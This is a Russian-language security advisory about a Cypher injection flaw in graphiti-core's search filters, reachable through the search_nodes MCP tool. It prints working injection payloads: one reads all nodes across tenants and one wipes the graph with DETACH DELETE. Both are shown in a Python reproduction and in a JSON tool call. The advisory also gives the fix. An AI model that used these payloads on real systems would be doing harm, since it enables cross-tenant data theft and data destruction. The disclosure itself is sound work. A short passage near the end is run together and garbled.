
Cypher-инъекция в graphiti-core (getzep/graphiti) через несанитизированные node_labels — CVSS 8.1
Серьёзность: Высокая (CVSS 8.1)
CWE: CWE-943 — Некорректная нейтрализация специальных элементов в логике запросов к данным
Затронуто: graphiti-core <= 0.28.1 (pip)
Исправлено в: 0.28.2
Уведомление: GHSA
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-32247
graphiti-core строит Cypher-выражения WHERE, объединяя предоставленные пользователем строки меток узлов через | и вставляя их в сырой запрос. Злоумышленник может внедрить произвольные Cypher-операторы, извлечь данные из любого узла графа во всех тенантах или удалить весь граф — без параметризации и валидации на любом этапе цепочки.
Я систематически сканировал репозитории MCP-серверов из списка awesome-mcp-servers, уделяя особое внимание проектам, которые связывают LLM-агентов с бэкендом базы данных. Graphiti выделился тем, что позиционируется как слой памяти для ИИ-агентов — цель высокой ценности.
Мой шаблон сканирования для графовых баз данных прост: поиск f-строк, содержащих MATCH, WHERE или конкатенацию меток. Строка 'n:' + node_labels в search_filters.py сразу бросилась в глаза — это сырая конкатенация строк, попадающая напрямую в Cypher-запрос. Переменная поступала из entity_types в обработчике MCP-инструмента без какой-либо валидации.
Что сделало это интересным помимо стандартной инъекции: выражение WITH в Cypher позволяет выйти из контекста WHERE и начать совершенно новый конвейер. Таким образом, ) закрывает выражение меток в скобках, WITH n переходит к новому выражению, а // молча отбрасывает остаток исходного запроса. Одна полезная нагрузка — полный доступ к графу.
Я подтвердил это за 10 минут, воспроизведя точную логику в отдельном Python-скрипте, проверил, что DETACH DELETE удаляет все узлы, а затем написал отчёт в GHSA.
Файл: graphiti_core/search/search_filters.py, строки 91–92 и 134–135
# Уязвимый код — точная копия из исходников
node_labels = '|'.join(filters.node_labels)
node_label_filter = 'n:' + node_labels
# node_label_filter затем интерполируется в Cypher-выражение WHERE
Точка входа: mcp_server/src/graphiti_mcp_server.py, строка 441
search_filters = SearchFilters(
node_labels=entity_types, # пользовательский ввод передаётся напрямую, без валидации
)
Параметр entity_types поступает из вызова MCP-инструмента search_nodes напрямую в конструктор запросов. Затронуты оба бэкенда: Neo4j и FalkorDB. Бэкенд Kuzu не затронут, поскольку использует параметризованные запросы.
Значение node_label_filter (n:Label1|Label2) встраивается в Cypher-запрос следующим образом:
WHERE (n:Label1|Label2) AND ...
Поскольку метки объединяются через | и оборачиваются в скобки вызывающим кодом, злоумышленнику достаточно закрыть выражение символом ) и внедрить новые Cypher-выражения. Оператор комментария // подавляет остаток исходного запроса.
# Точная логика из search_filters.py, строки 91-92
def build_filter(node_labels):
labels = '|'.join(node_labels)
return 'n:' + labels
# Безвредно
print(build_filter(["Person", "Organization"]))
# → n:Person|Organization → WHERE (n:Person|Organization) AND ...
# Эксфильтрация: чтение всех узлов во всех группах
print(build_filter(["Entity`) WITH n MATCH (x) RETURN x //"]))
# → n:Entity`) WITH n MATCH (x) RETURN x //
# Полный Cypher: WHERE (n:Entity`) WITH n MATCH (x) RETURN x // AND ...
# `) закрывает WHERE, WITH начинает новый конвейер, // отбрасывает остаток
# Удаление: полное уничтожение графа
print(build_filter(["Entity`) WITH n MATCH (x) DETACH DELETE x //"]))
Через вызов MCP-инструмента:
{
"tool": "search_nodes",
"arguments": {
"query": "test",
"entity_types": ["Entity`) WITH n MATCH (x) DETACH DELETE x //"]
}
}
group_idDETACH DELETE полностью стирает графgroup_id применяется после инъекционного фильтра меток — внедрение выражения WITH полностью его обходитПатченная версия проверяет метки узлов по белому списку буквенно-цифровых символов перед интерполяцией, а путь полнотекстового поиска использует параметризованные запросы для значений group_id.